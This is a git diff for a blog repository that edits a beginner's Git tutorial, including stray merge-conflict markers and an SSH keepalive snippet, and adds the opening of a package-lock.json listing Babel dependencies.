+> <a href="#cloning-a-repo-and-changing-the-remoteurl" class="markup--anchor markup--blockquote-anchor">
+<em>Cloning a repo and changing the remote url</em>
+</a>
+
+> <a href="#1-the-first-step-is-to-clone-therepo" class="markup--anchor markup--blockquote-anchor">
+<em>1. The first step is to clone the repo!</em>
+</a>
+
+> <a href="#2-sweet-you-have-the-cloned-repo-in-your-preferred-directory-now-lets-make-your-own-repo-on-github-create-a-new-repository" class="markup--anchor markup--blockquote-anchor">
+<em>2. Make your own repo</em>
+</a>_._
+
+> <a href="#3-next-copy-thegit-link-that-is-on-the-next-page-do-not-do-any-other-steps-on-this-pagethat-is-for-when-you-do-not-clone-arepo" class="markup--anchor markup--blockquote-anchor">
+<em>3. Next, copy the .git link that is on the next page.</em>
+</a>
+
+> <a href="#4-whenver-you-clone-a-repo-it-already-has-agit-directory-with-certain-configurations-set-up-to-be-able-to-push-this-repo-to-your-newly-created-github-repo-we-have-to-change-the-remoteorigin" class="markup--anchor markup--blockquote-anchor">
+<em>4. Whenver you clone a repo</em>
+</a>
+
+> <a href="#5-thats-its-you-can-now-run-git-push-and-it-will-push-to-your-newly-createdrepo" class="markup--anchor markup--blockquote-anchor">
+<em>5. Thats its! You can now run</em>
+</a> `git push` <a href="#5-thats-its-you-can-now-run-git-push-and-it-will-push-to-your-newly-createdrepo" class="markup--anchor markup--blockquote-anchor">
+<em>and it will push to your newly created repo.</em>
+</a>
+
+> <a href="#basic-git-workflow" class="markup--anchor markup--blockquote-anchor">
+<em>Basic Git Work Flow.</em>
+</a>
+
+> <a href="#cheat-sheet" class="markup--anchor markup--blockquote-anchor">
+<strong>
+<em>Cheat Sheet:</em>
+</strong>
+</a>
+
+> <a href="#my-git-reference-repo" class="markup--anchor markup--blockquote-anchor">
+<em>My Git Reference Repo:</em>
+</a>
+
+> <a href="#git-basics" class="markup--anchor markup--blockquote-anchor">
+<em>Git basics</em>
+</a>
+
+> <a href="#a-glance-intogit" class="markup--anchor markup--blockquote-anchor">
+<em>A glance into GIT</em>
+</a>
+
+> <a href="#tracking-changes-in-a-repository" class="markup--anchor markup--blockquote-anchor">
+<em>Tracking changes in a repository</em>
+</a>
+
+> <a href="#branches-andworkflow" class="markup--anchor markup--blockquote-anchor">
+<em>Branches and workflow</em>
+</a>
+
+> <a href="#bringing-it-backtogether" class="markup--anchor markup--blockquote-anchor">
+<em>Bringing it back together</em>
+</a>
+
+> <a href="#connect-w-github" class="markup--anchor markup--blockquote-anchor">
+<em>Connect-W-Github</em>
+</a>
+
+> <a href="#i-%EF%B8%8F-opensource" class="markup--anchor markup--blockquote-anchor">
+<em>I ❤️ Open Source</em>
+</a>
+
+> <a href="#merging-your-code-ongithub" class="markup--anchor markup--blockquote-anchor">
+<em>Merging your code on GitHub</em>
+</a>
+
+> <a href="#browsing-your-git-repository" class="markup--anchor markup--blockquote-anchor">
+<em>Browsing Your Git Repository</em>
+</a>
+
+> <a href="#seeing-changes-in-realtime" class="markup--anchor markup--blockquote-anchor">
+<em>Seeing changes in real time</em>
+</a>
+
+> <a href="#diff-options" class="markup--anchor markup--blockquote-anchor">
+<em>Diff options</em>
+</a>
+
+> <a href="#time-travel" class="markup--anchor markup--blockquote-anchor">
+<em>Time travel</em>
+</a>
+
+> <a href="#why-checkout" class="markup--anchor markup--blockquote-anchor">
+<em>Why checkout?</em>
+</a>
+
+> <a href="#git-do-overs-reset-rebase" class="markup--anchor markup--blockquote-anchor">
+<em>Git ‘Do-Overs': Reset &amp; Rebase</em>
+</a>
+
+> <a href="#resetting-thepast" class="markup--anchor markup--blockquote-anchor">
+<em>Resetting the past</em>
+</a>
+
+> <a href="#soft-resets" class="markup--anchor markup--blockquote-anchor">
+<em>Soft resets</em>
+</a>
+
+> <a href="#risky-business-mixedresets" class="markup--anchor markup--blockquote-anchor">
+<em>Risky Business: Mixed resets</em>
+</a>
+
+> <a href="#red-alert-hardresets" class="markup--anchor markup--blockquote-anchor">
+<em>Red alert! Hard resets</em>
+</a>
+
+> <a href="#rebase-alt-time-travel" class="markup--anchor markup--blockquote-anchor">
+<em>Rebase: ‘Alt-time travel'</em>
+</a>
+
+> <a href="#i-see-you-too-like-to-live-life-dangerously-tell-me-aboutrebase" class="markup--anchor markup--blockquote-anchor">
+<em>I see you too like to live life Dangerously… tell me about Rebase..</em>
+</a>
+
+> `working-on-the-header`
+
+> <a href="#golden-rule-ofgit" class="markup--anchor markup--blockquote-anchor">
+<em>"Golden Rule of Git"</em>
+</a>
+
+> **How 2's**
+
+> <a href="#troubleshooting-git" class="markup--anchor markup--blockquote-anchor">
+<strong>
+<em>Troubleshooting Git</em>
+</strong>
+</a>
+>>>>>>> master:src/pages/docs/git/git/index.md
 
 > **Further Reading & Resources**
 
@@ -123,14 +293,14 @@ Working in repositories keeps development projects organized and protected. Deve
 
 ### 1. The first step is to clone the repo!
 
--   <span id="b2f6">Navigate to the repo you want to clone and hit the big green code button. Copy the link given.</span>
+- <span id="b2f6">Navigate to the repo you want to clone and hit the big green code button. Copy the link given.</span>
 
 <figure><img src="https://cdn-images-1.medium.com/max/800/1*63LoanrbOPBIwDC6oFarFA.png" class="graf-image" /></figure>-   <span id="8563">Navigate in your terminal to the directory where you want this repo to live. I've chosen downloads</span>
 -   <span id="c9b3">`git clone HTTPS://LINKTOURL/THATYOUCOPIED`</span>
 
 <figure><img src="https://cdn-images-1.medium.com/max/800/1*PRiaHOvU-wvpAYQtIqduGQ.png" class="graf-image" /></figure>### 2. Sweet, you have the cloned repo in your preferred directory. Now lets make your own repo. On github, create a new repository.
 
--   <span id="c98b">Default settings are fine. Hit the big green button `Create Repository`</span>
+- <span id="c98b">Default settings are fine. Hit the big green button `Create Repository`</span>
 
 <figure><img src="https://cdn-images-1.medium.com/max/800/1*U1qwd0OEBYhcToXYt2i6iA.png" class="graf-image" /></figure><figure><img src="https://cdn-images-1.medium.com/max/800/1*jk3-RTC0rRV_OF931B4Fsg.png" class="graf-image" /></figure>### 3. Next,
 
@@ -176,7 +346,7 @@ You can initialize this repository with code from a Subversion, Mercurial, or TF
 
 #### It already has a .git directory with certain configurations set up. To be able to push this repo to your newly created GitHub repo we have to change the remote origin.
 
--   <span id="dda6">To do that, just run this command: (Make sure you are inside the repo you cloned)</span>
+- <span id="dda6">To do that, just run this command: (Make sure you are inside the repo you cloned)</span>
 
 <!-- -->
 
@@ -188,13 +358,13 @@ OR:
 
 ### Basic Git Work Flow.
 
--   <span id="23ce">After making changes to a file and you are ready to commit / push to your repo you can run the following commands:</span>
--   <span id="9934">`git add .` - stages modified files to be committed.</span>
--   <span id="6ce0">`git status` - displays files that have been modified</span>
--   <span id="ce65">`git commit -m 'A helpfully commit message'` - commits the changes to your local repo. Get in the habit now of making helpful commit messages</span>
--   <span id="70ec">`git push` - pushes your local commits to your GitHub repo!</span>
--   <span id="4ca3">To pull down changes that your partner pushed to the repo you simply have to run:</span>
--   <span id="3bef">`git pull` - this will fetch the most recent updates!</span>
+- <span id="23ce">After making changes to a file and you are ready to commit / push to your repo you can run the following commands:</span>
+- <span id="9934">`git add .` - stages modified files to be committed.</span>
+- <span id="6ce0">`git status` - displays files that have been modified</span>
+- <span id="ce65">`git commit -m 'A helpfully commit message'` - commits the changes to your local repo. Get in the habit now of making helpful commit messages</span>
+- <span id="70ec">`git push` - pushes your local commits to your GitHub repo!</span>
+- <span id="4ca3">To pull down changes that your partner pushed to the repo you simply have to run:</span>
+- <span id="3bef">`git pull` - this will fetch the most recent updates!</span>
 
 ### Cheat Sheet:
 
@@ -977,9 +1147,9 @@ Configuring both the client and the server is unnecessary.
 
 **To configure SSH on the client side**:
 
--   <span id="7ae1">On UNIX, edit `~/.ssh/config` (create the file if it doesn't exist) and add or edit:</span>
--   <span id="542f">`Host your-gitlab-instance-url.com ServerAliveInterval 60 ServerAliveCountMax 5`</span>
--   <span id="74d7">On Windows, if you are using PuTTY, go to your session properties, then navigate to "Connection" and under "Sending of null packets to keep session active", set `Seconds between keepalives (0 to turn off)` to `60`.</span>
+- <span id="7ae1">On UNIX, edit `~/.ssh/config` (create the file if it doesn't exist) and add or edit:</span>
+- <span id="542f">`Host your-gitlab-instance-url.com ServerAliveInterval 60 ServerAliveCountMax 5`</span>
+- <span id="74d7">On Windows, if you are using PuTTY, go to your session properties, then navigate to "Connection" and under "Sending of null packets to keep session active", set `Seconds between keepalives (0 to turn off)` to `60`.</span>
 
 **To configure SSH on the server side**, edit `/etc/ssh/sshd_config` and add:
 
@@ -1080,4 +1250,8 @@ By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner<
 
 <a href="https://medium.com/@bryanguner/understanding-git-a-beginners-guide-containing-cheat-sheets-resources-b50c9c01a107" class="p-canonical">Canonical link</a>
 
+<<<<<<< HEAD:notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md
 August 31, 2021.
+=======
+ on September 23, 2021.
+>>>>>>> master:src/pages/docs/git/git/index.md
diff --git a/notes/index.md b/notes/index.md
index 7b7bb56a7f..efea29c3fa 100644
--- a/notes/index.md
+++ b/notes/index.md
@@ -1,3 +1,4 @@
+<<<<<<< HEAD
 ---
 title: Web Dev Hub Home
 sections:
@@ -320,3 +321,5 @@ seo:
       relativeUrl: true
 template: advanced
 ---
+=======
+>>>>>>> master
diff --git a/package-lock.json b/package-lock.json
new file mode 100644
index 0000000000..15d46f5b93
--- /dev/null
+++ b/package-lock.json
@@ -0,0 +1,22169 @@
+{
+    "name": "bgoonz-blog",
+    "version": "1.11.5",
+    "lockfileVersion": 1,
+    "requires": true,
+    "dependencies": {
+        "@ampproject/remapping": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz",
+            "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==",
+            "requires": {
+                "@jridgewell/gen-mapping": "^0.1.0",
+                "@jridgewell/trace-mapping": "^0.3.9"
+            }
+        },
+        "@ardatan/aggregate-error": {
+            "version": "0.0.6",
+            "resolved": "https://registry.npmjs.org/@ardatan/aggregate-error/-/aggregate-error-0.0.6.tgz",
+            "integrity": "sha512-vyrkEHG1jrukmzTPtyWB4NLPauUw5bQeg4uhn8f+1SSynmrOcyvlb1GKQjjgoBzElLdfXCRYX8UnBlhklOHYRQ==",
+            "requires": {
+                "tslib": "~2.0.1"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.0.3",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.3.tgz",
+                    "integrity": "sha512-uZtkfKblCEQtZKBF6EBXVZeQNl82yqtDQdv+eck8u7tdPxjLu2/lp5/uPW+um2tpuxINHWy3GhiccY7QgEaVHQ=="
+                }
+            }
+        },
+        "@babel/code-frame": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz",
+            "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
+            "requires": {
+                "@babel/highlight": "^7.18.6"
+            }
+        },
+        "@babel/compat-data": {
+            "version": "7.18.8",
+            "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.18.8.tgz",
+            "integrity": "sha512-HSmX4WZPPK3FUxYp7g2T6EyO8j96HlZJlxmKPSh6KAcqwyDrfx7hKjXpAW/0FhFfTJsR0Yt4lAjLI2coMptIHQ=="
+        },
+        "@babel/core": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.18.10.tgz",
+            "integrity": "sha512-JQM6k6ENcBFKVtWvLavlvi/mPcpYZ3+R+2EySDEMSMbp7Mn4FexlbbJVrx2R7Ijhr01T8gyqrOaABWIOgxeUyw==",
+            "requires": {
+                "@ampproject/remapping": "^2.1.0",
+                "@babel/code-frame": "^7.18.6",
+                "@babel/generator": "^7.18.10",
+                "@babel/helper-compilation-targets": "^7.18.9",
+                "@babel/helper-module-transforms": "^7.18.9",
+                "@babel/helpers": "^7.18.9",
+                "@babel/parser": "^7.18.10",
+                "@babel/template": "^7.18.10",
+                "@babel/traverse": "^7.18.10",
+                "@babel/types": "^7.18.10",
+                "convert-source-map": "^1.7.0",
+                "debug": "^4.1.0",
+                "gensync": "^1.0.0-beta.2",
+                "json5": "^2.2.1",
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "@babel/generator": {
+            "version": "7.18.12",
+            "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.18.12.tgz",
+            "integrity": "sha512-dfQ8ebCN98SvyL7IxNMCUtZQSq5R7kxgN+r8qYTGDmmSion1hX2C0zq2yo1bsCDhXixokv1SAWTZUMYbO/V5zg==",
+            "requires": {
+                "@babel/types": "^7.18.10",
+                "@jridgewell/gen-mapping": "^0.3.2",
+                "jsesc": "^2.5.1"
+            },
+            "dependencies": {
+                "@jridgewell/gen-mapping": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz",
+                    "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==",
+                    "requires": {
+                        "@jridgewell/set-array": "^1.0.1",
+                        "@jridgewell/sourcemap-codec": "^1.4.10",
+                        "@jridgewell/trace-mapping": "^0.3.9"
+                    }
+                }
+            }
+        },
+        "@babel/helper-annotate-as-pure": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz",
+            "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-builder-binary-assignment-operator-visitor": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz",
+            "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==",
+            "requires": {
+                "@babel/helper-explode-assignable-expression": "^7.18.6",
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-compilation-targets": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.18.9.tgz",
+            "integrity": "sha512-tzLCyVmqUiFlcFoAPLA/gL9TeYrF61VLNtb+hvkuVaB5SUjW7jcfrglBIX1vUIoT7CLP3bBlIMeyEsIl2eFQNg==",
+            "requires": {
+                "@babel/compat-data": "^7.18.8",
+                "@babel/helper-validator-option": "^7.18.6",
+                "browserslist": "^4.20.2",
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "@babel/helper-create-class-features-plugin": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.18.9.tgz",
+            "integrity": "sha512-WvypNAYaVh23QcjpMR24CwZY2Nz6hqdOcFdPbNpV56hL5H6KiFheO7Xm1aPdlLQ7d5emYZX7VZwPp9x3z+2opw==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-function-name": "^7.18.9",
+                "@babel/helper-member-expression-to-functions": "^7.18.9",
+                "@babel/helper-optimise-call-expression": "^7.18.6",
+                "@babel/helper-replace-supers": "^7.18.9",
+                "@babel/helper-split-export-declaration": "^7.18.6"
+            }
+        },
+        "@babel/helper-create-regexp-features-plugin": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.18.6.tgz",
+            "integrity": "sha512-7LcpH1wnQLGrI+4v+nPp+zUvIkF9x0ddv1Hkdue10tg3gmRnLy97DXh4STiOf1qeIInyD69Qv5kKSZzKD8B/7A==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "regexpu-core": "^5.1.0"
+            }
+        },
+        "@babel/helper-define-polyfill-provider": {
+            "version": "0.3.2",
+            "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.2.tgz",
+            "integrity": "sha512-r9QJJ+uDWrd+94BSPcP6/de67ygLtvVy6cK4luE6MOuDsZIdoaPBnfSpbO/+LTifjPckbKXRuI9BB/Z2/y3iTg==",
+            "requires": {
+                "@babel/helper-compilation-targets": "^7.17.7",
+                "@babel/helper-plugin-utils": "^7.16.7",
+                "debug": "^4.1.1",
+                "lodash.debounce": "^4.0.8",
+                "resolve": "^1.14.2",
+                "semver": "^6.1.2"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "@babel/helper-environment-visitor": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz",
+            "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg=="
+        },
+        "@babel/helper-explode-assignable-expression": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz",
+            "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-function-name": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.18.9.tgz",
+            "integrity": "sha512-fJgWlZt7nxGksJS9a0XdSaI4XvpExnNIgRP+rVefWh5U7BL8pPuir6SJUmFKRfjWQ51OtWSzwOxhaH/EBWWc0A==",
+            "requires": {
+                "@babel/template": "^7.18.6",
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-hoist-variables": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz",
+            "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-member-expression-to-functions": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz",
+            "integrity": "sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==",
+            "requires": {
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-module-imports": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz",
+            "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-module-transforms": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.18.9.tgz",
+            "integrity": "sha512-KYNqY0ICwfv19b31XzvmI/mfcylOzbLtowkw+mfvGPAQ3kfCnMLYbED3YecL5tPd8nAYFQFAd6JHp2LxZk/J1g==",
+            "requires": {
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-module-imports": "^7.18.6",
+                "@babel/helper-simple-access": "^7.18.6",
+                "@babel/helper-split-export-declaration": "^7.18.6",
+                "@babel/helper-validator-identifier": "^7.18.6",
+                "@babel/template": "^7.18.6",
+                "@babel/traverse": "^7.18.9",
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-optimise-call-expression": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz",
+            "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-plugin-utils": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.18.9.tgz",
+            "integrity": "sha512-aBXPT3bmtLryXaoJLyYPXPlSD4p1ld9aYeR+sJNOZjJJGiOpb+fKfh3NkcCu7J54nUJwCERPBExCCpyCOHnu/w=="
+        },
+        "@babel/helper-remap-async-to-generator": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz",
+            "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-wrap-function": "^7.18.9",
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-replace-supers": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.18.9.tgz",
+            "integrity": "sha512-dNsWibVI4lNT6HiuOIBr1oyxo40HvIVmbwPUm3XZ7wMh4k2WxrxTqZwSqw/eEmXDS9np0ey5M2bz9tBmO9c+YQ==",
+            "requires": {
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-member-expression-to-functions": "^7.18.9",
+                "@babel/helper-optimise-call-expression": "^7.18.6",
+                "@babel/traverse": "^7.18.9",
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-simple-access": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz",
+            "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-skip-transparent-expression-wrappers": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz",
+            "integrity": "sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw==",
+            "requires": {
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/helper-split-export-declaration": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz",
+            "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==",
+            "requires": {
+                "@babel/types": "^7.18.6"
+            }
+        },
+        "@babel/helper-string-parser": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz",
+            "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw=="
+        },
+        "@babel/helper-validator-identifier": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz",
+            "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g=="
+        },
+        "@babel/helper-validator-option": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz",
+            "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw=="
+        },
+        "@babel/helper-wrap-function": {
+            "version": "7.18.11",
+            "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.18.11.tgz",
+            "integrity": "sha512-oBUlbv+rjZLh2Ks9SKi4aL7eKaAXBWleHzU89mP0G6BMUlRxSckk9tSIkgDGydhgFxHuGSlBQZfnaD47oBEB7w==",
+            "requires": {
+                "@babel/helper-function-name": "^7.18.9",
+                "@babel/template": "^7.18.10",
+                "@babel/traverse": "^7.18.11",
+                "@babel/types": "^7.18.10"
+            }
+        },
+        "@babel/helpers": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.18.9.tgz",
+            "integrity": "sha512-Jf5a+rbrLoR4eNdUmnFu8cN5eNJT6qdTdOg5IHIzq87WwyRw9PwguLFOWYgktN/60IP4fgDUawJvs7PjQIzELQ==",
+            "requires": {
+                "@babel/template": "^7.18.6",
+                "@babel/traverse": "^7.18.9",
+                "@babel/types": "^7.18.9"
+            }
+        },
+        "@babel/highlight": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz",
+            "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==",
+            "requires": {
+                "@babel/helper-validator-identifier": "^7.18.6",
+                "chalk": "^2.0.0",
+                "js-tokens": "^4.0.0"
+            }
+        },
+        "@babel/parser": {
+            "version": "7.18.11",
+            "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.18.11.tgz",
+            "integrity": "sha512-9JKn5vN+hDt0Hdqn1PiJ2guflwP+B6Ga8qbDuoF0PzzVhrzsKIJo8yGqVk6CmMHiMei9w1C1Bp9IMJSIK+HPIQ=="
+        },
+        "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz",
